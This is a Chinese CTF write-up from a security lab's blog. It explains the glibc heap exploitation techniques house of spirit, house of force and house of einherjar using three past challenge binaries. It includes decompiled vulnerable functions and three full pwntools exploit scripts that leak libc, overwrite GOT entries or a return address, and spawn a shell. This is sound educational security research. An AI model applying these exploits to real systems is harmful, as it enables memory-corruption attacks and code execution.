专栏首页Seebug漏洞平台PWN学习之house of系列(一)

PWN学习之house of系列(一)

作者:Hcamael@知道创宇404实验室

准备一份house of系列的学习博文,在how2heap上包括下面这些:

  • house of spirit
  • house_of_force
  • house_of_einherjar
  • house_of_orange
  • house_of_lore

house of spirit

house of spirit是fastbin的一种利用方法,利用demo可参考: https://github.com/shellphish/how2heap/blob/master/house_of_spirit.c 我通过具体的CTF Pwn题目来学习该利用方法,题目见: https://github.com/ctfs/write-ups-2014/tree/master/hack-lu-ctf-2014/oreo 这题是hack.lu 2014 ctf的一道400分的32位下的Pwn题,这题原本是没有给libc的,但是我搜了下网上这题的writeup,不需要libc有两种方法,一种是假设服务器上用的是最新版的libc,然后从各个发行版的系统找libc,一个一个试,另一种是使用ret2dl-resolve,这个利用方法我准备单独写一篇博文来说,而本文主要是学习house of spirit,所以就用本地的libc,假设已知libc。 漏洞点很简单,首先要能看出一个结构体:

struct rifle { char descript[0x19] char name[0x1b] char *pre_add }

然后在sub_8048644函数中,大致逻辑如下:

add() { rifles *v1; unsigned int v2; v1 = rifle; rifle = (rifles *)malloc(0x38u); if ( rifle ) { rifle->pre_add = (int)v1; printf("Rifle name: "); fgets(rifle->name, 56, stdin); str_deal(rifle->name); printf("Rifle description: "); fgets(rifle->descript, 56, stdin); str_deal(rifle->descript); ++rifle_num; } else { puts("Something terrible happened!"); }

结构体中name的长度只有0x1b,但是却能输入56长度的字符串,所以可以把后面的pre_add 覆盖,或者把下一个堆进行覆盖

泄露内存

因为libc已知,程序没开PIE,所以只需要泄露libc地址,然后算出libc基地址 内存泄露利用的是sub_8048729函数,该函数的大致逻辑如下:

show_rifles() { rifles *i; unsigned int v2; printf("Rifle to be ordered:\n%s\n", "==================================="); for ( i = rifle; i; i = (rifles *)i->pre_add ) { printf("Name: %s\n", i->name); printf("Description: %s\n", i); puts("==================================="); } }

rifle->pre_add 是可控的,把rifle->pre_add = 0x804A258-25设置为sscanf的got表地址减去25,这样Name输出的就是sscanf_got的值,并且sscanf_got->pre_add的值为0,能让该程序继续运行而不报错 得到sscanf_got的值后,可以通过libc的偏移算出libc的基地址

使用house_of_spirit进行任意地址写

house of spirit简单的来说就是free一个假的fastbin堆块,然后再下次malloc的时候就会返回该假堆块 所以第一步是要构造假的堆块,在该程序中,只有一个malloc(0x38),所以要构造一个size=0x41的堆块,在.bss_804A2A0地址的order_num,和.bss_804A2A4的rifle_num,一个是在free的时候自增1,一个是在rifle add的时候自增1,所以只要add 0x41次rifle,就能把rifle_num设置为0x41 chunk的size位伪造好了,现在是bypass libc对free fastbin的check,主要是会对下一个chunk的size进行check,所以不仅要伪造当前check的size,还要伪造下一个chunk的size 下一个chunk的地址是0x804A2A4+0x40=0x804a2e4,该地址是储存notice的地址,属于可控区域,代码如下:

information = (char *)&unk_804A2C0; leave() { unsigned int v0; printf("Enter any notice you'd like to submit with your order: "); fgets(information, 128, stdin); str_deal(information); }

假堆块构造完成了,free了之后0x804A2A0将会加入到fastbin中,在下一次add rifle的时候malloc会返回该地址,所以0x804A2A4往下的变量都可控,这个时候我们能修改information的值,然后在leave函数会向information指向的地址写入值 这样就达到了任意地址写的目的

最终利用

能做到任意地址写,下面就很简单了,方法有很多,我使用的是重写sscanf_got地址的值为计算出的system地址

int read_action() { int v1; char s; unsigned int v3; do { printf("Action: "); fgets(&s, 32, stdin); } while ( !__isoc99_sscanf(&s, "%u", &v1) ); return v1; }

当输入了/bin/sh之后,会赋值给变量s,然后传给sscanf,这时候sscanf_got的值已经被改成了system的值,所以实际执行的是system("/bin/sh") 最终达成getshell的目的,payload如下:

#!/usr/bin/env python # -*- coding=utf-8 -*- from pwn import * context.log_level = "debug" def add(name, descrip): p.readuntil("Action:") p.sendline("1") p.readuntil("name:") p.sendline(name) p.readuntil("description:") p.sendline(descrip) def show_rifles(): p.readuntil("Action:") p.sendline("2") p.readuntil("Name: ") p.readuntil("Name: ") return u32(p.read(4)) def free(): p.readuntil("Action:") p.sendline("3") def leave(message): p.readuntil("Action:") p.sendline("4") p.readuntil("order: ") p.sendline(message) sscanf_got = 0x804A258 fake_heap = 0x804A2A0 system_offset = 0x3ada0 p = process("oreo_35f118d90a7790bbd1eb6d4549993ef0", stdin=PTY) name_payload1 = "aaa" + "bbbb"*6 + p32(sscanf_got-25) add(name_payload1, "hhh") sscanf = show_rifles() libc_base = sscanf - 0x5c4c0 for x in xrange(0x40-1): add("mm", "gg") name_payload2 = "aaa" + "bbbb"*6 + p32(fake_heap+8) add(name_payload2, "uuu") message_payload = "\x00\x00\x00\x00"*9 + p32(0x41) leave(message_payload) # raw_input() free() # raw_input() add("name", p32(sscanf_got)) leave(p32(libc_base+system_offset)) p.sendline("/bin/sh\0") p.interactive()

house of force

house of force是修改top chunk size的一种利用方法,利用demo可参考: https://github.com/shellphish/how2heap/blob/master/house_of_force.c 题目见: https://github.com/ctfs/write-ups-2016/tree/master/bctf-2016/exploit/bcloud-200 该利用姿势是由于libc的堆管理在malloc的时候默认top chunk的size是正确合法的,所以不会去检查top chunk的size值,这就导致了一种情况,当一个程序存在可以修改top chunk size的漏洞时,我们把top chunk的size修改成0xffffffff(x86) 假设这个时候的top_chunk=0x601200, 然后malloc(0xffe00020),然后对malloc申请的size进行检查,0xffe00030 < top_chunk_size,所以可以成功malloc内存,然后计算top_chunk的新地址:0xffe00030+0x601200=0x100401230, 因为是x86环境,最高位溢出了,所以top_chunk=0x401230 然后下次我们再malloc的时候,返回的地址就是0x401238 下面,我们再通过2016年bctf的一道题目来加强对该利用方式的理解

泄露堆地址

有一个read_buffer函数:

int read_buffer(int input, int len, char a3) { char buf; int i; for ( i = 0; i < len; ++i ) { if ( read(0, &buf, 1u) <= 0 ) exit(-1); if ( buf == a3 ) break; *(_BYTE *)(input + i) = buf; } *(_BYTE *)(i + input) = 0; // off by one return i; }

在注释里也已经标出来了,该函数存在off_by_one漏洞,会溢出一个\x00 然后存在内存泄露的是需要输入username的函数:

void welcom_user() { char s; // [esp+1Ch] [ebp-5Ch] char *v2; // [esp+5Ch] [ebp-1Ch] unsigned int v3; // [esp+6Ch] [ebp-Ch] memset(&s, 0, 0x50u); puts("Input your name:"); read_buffer((int)&s, 0x40, '\n'); v2 = (char *)malloc(0x40u); name = (int)v2; strcpy(v2, &s); welcom((int)v2); }

看上面的注释,计算出v2变量和s变量在栈中的距离为0x40 当我输入0x40的a时,会把变量s填充满,然后在v1的第一个字节添加字符串结尾\x00,接下来,malloc的返回值赋给v2,把\x00给覆盖掉了,所以在strcpy函数把s的值+v2的值copy到v2指向的堆中,然后在welcom函数中输出,这样获得到了堆的地址

修改top_chunk size

之后,有一个输入org和host的函数:

void sub_804884E() { char org; // [esp+1Ch] [ebp-9Ch] char *v1; // [esp+5Ch] [ebp-5Ch] int host; // [esp+60h] [ebp-58h] char *v3; // [esp+A4h] [ebp-14h] unsigned int v4; // [esp+ACh] [ebp-Ch] memset(&org, 0, 0x90u); puts("Org:"); read_buffer((int)&org, 0x40, 10); puts("Host:"); read_buffer((int)&host, 0x40, 10); v3 = (char *)malloc(0x40u); v1 = (char *)malloc(0x40u); org_static = (int)v1; host_static = (int)v3; strcpy(v3, (const char *)&host); strcpy(v1, &org); puts("OKay! Enjoy:)"); }

该函数存在和上面user函数一样的问题,我们来看看栈布局:

然后再来看看malloc两次后的堆布局:

v1储存的是org的值,如果org中没有\x00,v1中没有\x00,strcpy将会copy org+v1+host的值到堆中去,而堆中v1的size只有0x48,所以会导致堆溢出,可以覆盖到top_chunk的size,我们将该size赋值为0xffffffff

控制malloc的返回值

int new() { int result; // eax signed int i; // [esp+18h] [ebp-10h] int v2; // [esp+1Ch] [ebp-Ch] for ( i = 0; i <= 9 && note_list[i]; ++i ) ; if ( i == 10 ) return puts("Lack of space. Upgrade your account with just $100 :)"); puts("Input the length of the note content:"); v2 = get_int(); note_list[i] = (int)malloc(v2 + 4); if ( !note_list[i] ) exit(-1); note_length[i] = v2; puts("Input the content:"); read_buffer(note_list[i], v2, 10); printf("Create success, the id is %d\n", i); result = i; dword_804B0E0[i] = 0; return result; }

在new函数中,可以控制malloc的size大小,然后我们需要考虑控制malloc跳到哪里

int edit() { int length; int id; // [esp+14h] [ebp-14h] int note; // [esp+18h] [ebp-10h] puts("Input the id:"); id = get_int(); if ( id < 0 || id > 9 ) return puts("Invalid ID."); note = note_list[id]; if ( !note ) return puts("Note has been deleted."); length = note_length[id]; dword_804B0E0[id] = 0; puts("Input the new content:"); read_buffer(note, length, 10); return puts("Edit success."); }

有一个edit函数,可以编辑note_list指向地址的值,所以如果我们能控制note_list的值,就可以做到任意地址修改 所以我们的目的是让下一次malloc的返回值为0x804B120,这样需要在这一次malloc后,让top_chunk=0x804B118 所以根据泄露出的heap地址计算出当前top_chunk的地址,然后再计算出本次malloc的size: 0x10804B118-top_chunk 或者 -(top_chunk-0x804B118)

泄露libc地址

按照该程序的逻辑,应该在show函数中成输出note_list指向地址的值,但是该函数的功能还未实现:

int show() { return puts("WTF? Something strange happened."); }

所以就需要想别的办法来泄露libc地址了 我使用的方法的修改free_got的值为printf的值,然后在delete函数中,free(note_list[x]),note_list[x]修改成atoi_got的地址,这样就能泄露出atoi_got的值 但是因为不知道libc,所以不知道printf的值,但是因为有延时绑定,所以我们能把free_got的值修改成printf_plt+6的值 获取到libc的地址后,可以计算出system的值,然后再把atoi_got的值修改成system地址,达到getshell的目的 完整payload:

#!/usr/bin/env python2.7 # -*- coding=utf-8 -*- from pwn import * context.log_level = "debug" def new_note(len,content): p.readuntil("--->>") p.sendline("1") p.readuntil("content:") p.sendline(str(len)) p.readuntil("content:") p.sendline(content) def edit_note(i, data): p.readuntil("--->>") p.sendline("3") p.readuntil("id:\n") p.sendline(str(i)) p.readuntil("content:\n") p.sendline(data) p.readuntil("success.") def delete_note(i): p.readuntil("--->>") p.sendline("4") p.readuntil("id:\n") p.sendline(str(i)) p = process("./bcloud") e = ELF("./bcloud") libc = ELF("/lib/i386-linux-gnu/libc.so.6") pause() # leak heap p.readuntil("name:\n") p.send("a"*0x40) p.read(0x44) heap = u32(p.read(4)) print "heap addr: " + hex(heap) # modify top chunk size to 0xffffffff p.readuntil("Org:") p.send("a"*0x40) p.readuntil("Host:") p.sendline(p32(0xffffffff)) p.readuntil("Enjoy:") # malloc return address:0x804B120 note_list = 0x804B120 new_note(0x10, "aaa") new_note(-(heap+0xf4-0x804B120+8), "2333") # note_list[0] = free_got # note_list[1] = atoi_got # note_list[2] = atoi_got payload = p32(e.got["free"]) payload += p32(e.got["atoi"]) payload += p32(e.got["atoi"]) new_note(0x100, payload) # write printf address to free_got edit_note(0, p32(e.symbols["printf"]+6)) # printf(atoi_got) delete_note(1) atoi_libc = u32(p.read(4)) p.readuntil("success.") libc_base = atoi_libc - libc.symbols["atoi"] print "libc_base: " + hex(libc_base) # calculate system address system = libc.symbols["system"] + libc_base # write system address to atoi_got edit_note(2, p32(system)) # system("/bin/sh") p.sendline("/bin/sh") p.interactive()

house of einherjar

house of einherjar跟house of force差不多,最终目的都是控制top chunk的值,利用demo可参考: https://github.com/shellphish/how2heap/blob/master/house_of_einherjar.c 题目见: https://github.com/blendin/writeups/tree/master/2016/tinypad 和house of force的区别是,通过off by one把最后一个chunk的pre_inuse标志位置零,让free函数以为上一个chunk已经被free,这就要求了最后一个chunk的size必须要是0x100的倍数,要不然会check下一个chunk失败,或者和top chunk进行合并操作的时候失败。 然后再伪造一个chunk,计算最后一个chunk到我们伪造chunk的距离,设置为最后一个chunk的pre_size位,当free最后一个chunk时,会将伪造的chunk和当前chunk和top chunk进行unlink操作,合并成一个top chunk,从而达到将top chunk设置到我们伪造chunk的地址。 接下来通过2016年Second ctf的一个题来加深对该利用方法的理解:

内存泄露

if ( *(_QWORD *)&tinypad[16 * (v11 - 1 + 16LL)] ) { free(*(void **)&tinypad[16 * (v11 - 1 + 16LL) + 8]); *(_QWORD *)&tinypad[16 * (v11 - 1 + 16LL)] = 0LL; writeln((__int64)"\nDeleted.", 9LL); }

在free了一个tinypad的时候,只把size位置零了,但是却没有把储存content的地址(tinypad[16 * (v11 - 1 + 16LL) + 8])置零 然后在每次循环的时候,都会输出四个tinypad的信息:

for ( i = 0; i <= 3; ++i ) { LOBYTE(c) = i + '1'; writeln((__int64)"+------------------------------------------------------------------------------+\n", 81LL); write_n((__int64)" # INDEX: ", 12LL); writeln((__int64)&c, 1LL); write_n((__int64)" # CONTENT: ", 12LL); if ( *(_QWORD *)&tinypad[16 * (i + 16LL) + 8] ) { v3 = strlen(*(const char **)&tinypad[16 * (i + 16LL) + 8]); writeln(*(_QWORD *)&tinypad[16 * (i + 16LL) + 8], v3); } writeln((__int64)&newline, 1LL); }

所以我们能增加4个tinypad,都申请一个0x100左右的chunk,然后释放第1个和第3个,这样就能形成unsortbin双链表,其中一个fd指向arena区域,一个fd指向另一个chunk,这样就泄露出了libc地址和堆地址

house of einherjar利用

首先是伪造一个合法的chunk,我们发现在edit分支,能控制tinypad地址的值:

if ( *(_QWORD *)&tinypad[16 * (v11 - 1 + 16LL)] ) { c = '0'; strcpy(tinypad, *(const char **)&tinypad[16 * (v11 - 1 + 16LL) + 8]); while ( toupper(c) != 'Y' ) { write_n((__int64)"CONTENT: ", 9LL); v6 = strlen(tinypad); writeln((__int64)tinypad, v6); write_n((__int64)"(CONTENT)>>> ", 13LL); v7 = strlen(*(const char **)&tinypad[16 * (v11 - 1 + 16LL) + 8]); read_until((__int64)tinypad, v7, '\n'); # 控制tinypad的值 writeln((__int64)"Is it OK?", 9LL); write_n((__int64)"(Y/n)>>> ", 9LL); read_until((__int64)&c, 1uLL, 0xAu); } strcpy(*(char **)&tinypad[16 * (v11 - 1 + 16LL) + 8], tinypad); writeln((__int64)"\nEdited.", 8LL); }

所以我们tinypad就是我们伪造的chunk,伪造的chunk如下: &tinypad:

刚才泄露内存已经释放了两个tinypad,还剩第二个和第四个tinypad,这个时候我释放第四个tinypad,这样第三个第四个将会和top_chunk合并 只要经过精心计算,这个时候我们再add一个tinypad,将会获得第一个tinypad(已经被释放)的堆地址,然后利用off by one漏洞:

unsigned __int64 read_until(__int64 buf, unsigned __int64 len, unsigned int end) { int v4; // [rsp+Ch] [rbp-34h] unsigned __int64 i; // [rsp+28h] [rbp-18h] signed __int64 v6; // [rsp+30h] [rbp-10h] v4 = end; for ( i = 0LL; i < len; ++i ) { v6 = read_n(0, buf + i, 1uLL); if ( v6 < 0 ) return -1LL; if ( !v6 || *(char *)(buf + i) == v4 ) break; } *(_BYTE *)(buf + i) = 0; // off by one if ( i == len && *(_BYTE *)(len - 1 + buf) != 10 ) dummyinput(v4); return i; }

比如tinypad 1的大小是0xf0,我们申请一个0xe8大小的内存,就会得到tinypad 1的堆,然后可以覆盖到tinypad 2的pre_size,如果tinypad2的size位是0x101,则会被off by one漏洞设置为0x100 我们计算出tinypad2的地址,然后减去tinypad的地址,计算出offset,设置为tinypad2的pre_size和伪造chunk的size位 然后我们再free tinypad2,伪造的chunk和tinypad2将会和top chunk合并,这个时候top chunk的值为tinypad的地址

bypass Full RELRO

top chunk已经被设置到tinypad地址了,tinypad+256地址开始储存着tinypad1 2 3 4的信息,所以当我们再次malloc的时候,tinypad 1 2 3 4的size和address都已经是可控的了,可以达到任意地址读,然后edit功能可以做到任意地址写 已经能任意地址读写了,正常思路就是写got表,然后getshell,但是发现程序开启了Full RELRO保护,got表将不可写 然后考虑了FILE_IO的利用方法,但是发现该程序的IO使用的都是read和write,并没有使用stdio库,故该思路也不可行 然后发现,在libc中有一个全局变量__environ, 储存着该程序环境变量的地址,而环境变量是储存在栈上的,所以可以泄露栈地址,所以可以控制rip了 我使用的思路是,计算出one_gadget的地址,然后把ret __libc_start_main改写成ret one_gadget,从而达到getshell的目的。 完整Payload:

#!/usr/bin/env python2 # -*- coding=utf-8 -*- from pwn import * def add(p, size, content): p.readuntil("(CMD)>>>") p.sendline("a") p.readuntil("(SIZE)>>>") p.sendline(str(size)) p.readuntil("(CONTENT)>>>") p.sendline(content) def delete(p, index): p.readuntil("(CMD)>>>") p.sendline("d") p.readuntil("(INDEX)>>>") p.sendline(str(index)) def edit(p, index, content): p.readuntil("(CMD)>>>") p.sendline("e") p.readuntil("(INDEX)>>>") p.sendline(str(index)) p.readuntil("(CONTENT)>>>") p.sendline(content) p.readuntil("(Y/n)>>>") p.sendline("y") def main(): # context.log_level = "debug" p = process("./tinypad") # e = ELF("./tinypad") libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") # leak libc and heap address add(p, 224, "a"*10) add(p, 246, "b"*0xf0) add(p, 256, "c"*0xf0) add(p, 256, "d"*10) delete(p, 3) delete(p, 1) # get heap address p.readuntil("# CONTENT: ") heap = p.readline().rstrip() heap += "\x00"*(8-len(heap)) heap_base = u64(heap) - 0x1f0 print "heap_base address: " + hex(heap_base) # get libc address p.readuntil("INDEX: 3") p.readuntil("# CONTENT: ") libc_address = p.readline().strip() libc_address += "\x00"*(8-len(libc_address)) libc_base = u64(libc_address) - 0x3c4b78 print "libc_base address: " + hex(libc_base) # make top -> tinypad(0x602040) add(p, 232, "g"*224 + p64(heap_base+240-0x602040)) delete(p, 4) payload = p64(0x100) + p64(heap_base+240-0x602040) + p64(0x602040)*4 edit(p, 2, payload) delete(p, 2) # modify free_hook -> one_gadget gadget1 = 0xf1117 gadget2 = 0xf0274 gadget3 = 0xcd1c8 gadget4 = 0xcd0f3 gadget5 = 0x4526a gadget6 = 0xf66c0 gadget_address = libc_base + gadget1 add(p, 0xe0, "t"*0xd0) payload = p64(232) + p64(libc_base + libc.symbols["__environ"]) payload += p64(232) + p64(0x602148) add(p, 0x100, payload) p.readuntil("# CONTENT: ") stack = p.read(6) stack += "\x00"*(8-len(stack)) stack_env = u64(stack) print "env_stack address: " + hex(stack_env) # pause() edit(p, 2, p64(stack_env-240)) edit(p, 1, p64(gadget_address)) p.readuntil("(CMD)>>>") p.sendline("Q") p.interactive() if __name__ == '__main__': main()

总 结

本篇文章分析了

  • house of spirit
  • house_of_force
  • house_of_einherjar

三种利用方法,还剩两种

  • house_of_orange
  • house_of_lore

其中,house_of_lore没发现有具体的实例题目,所以暂时不做研究

而house_of_orange涉及的知识点过多,所以会单独写一篇

house of系列第一次出现是Phrack2009年的杂志上,一共出现了下面几种:

  • The House of Mind
  • The House of Prime
  • The House of Spirit
  • The House of Force
  • The House of Lore

最后三种在how2heap上都有,前面两种,下次再说

参 考 链 接

  • https://github.com/shellphish/how2heap
  • https://github.com/ctfs/write-ups-2016
  • https://code.woboq.org/userspace/glibc/malloc/malloc.c.html
  • http://www.phrack.org/issues/66/10.html

本文分享自微信公众号 - Seebug漏洞平台(seebug_org),作者:404实验室

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2018-01-31

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • PWN学习之house of系列(一)

    house of spirit是fastbin的一种利用方法,利用demo可参考: https://github.com/shellphish/how2heap...

    Seebug漏洞平台
  • 关于 Java 中的 RMI-IIOP

    在写完《Java中RMI、JNDI、LADP、JRMP、JMX、JMS那些事儿(上)》的时候,又看到一个包含RMI-IIOP的议题,在16年Blackhat J...

    Seebug漏洞平台
  • CTF PWN 题之 setbuf 的利用

    作者:Hcamael@知道创宇404实验室 朋友让我一起看了一道32位的pwn题,好像是国外code blue 2017 ctf上的一道题,开始我感觉32位pw...

    Seebug漏洞平台
  • PWN学习之house of系列(一)

    house of spirit是fastbin的一种利用方法,利用demo可参考: https://github.com/shellphish/how2heap...

    Seebug漏洞平台
  • Mathematica得一些小技巧~~~

    WolframChina
  • 深入浅出Kotlin协程

    协程(Coroutines)已经随着Kotlin1.3版本一起发布了1.0正式版,android平台可以使用如下方式引入:

    wiizhang
  • 原创 | 本科入行可能吗?做到这3点,斩获BAT offer不是梦

    大家好,前两天有一个小伙伴加我微信咨询。他说他不想读研,想要直接本科毕业就参与工作。但是又担心自己由于没有学历优势,无法在校招当中获得机会,于是便来向我请教,能...

    TechFlow-承志
  • H.264、H.265当道,安防编解码标准SVAC2.0的突围之战

    标准推行,是个技术及各种因素博弈的过程。对于安防监控编解码标准SVAC2.0来说,其产品化和应用,才刚刚开始。

    AI掘金志
  • 这样入门asp.net core 之 静态文件

    本文章主要说明asp.net core中静态资源处理方案: 一、静态文件服务 首先明确contentRoot和webroot这两个概念 contentRoot:...

    sam dragon
  • Canvas入门到高级详解(中)

    以上两个值都可以接受颜色名,16 进制数据,rgb 值,甚至 rgba. 一般先进行设置样式然后进行绘制。

    老马

扫码关注云+社区

领取腾讯云代金券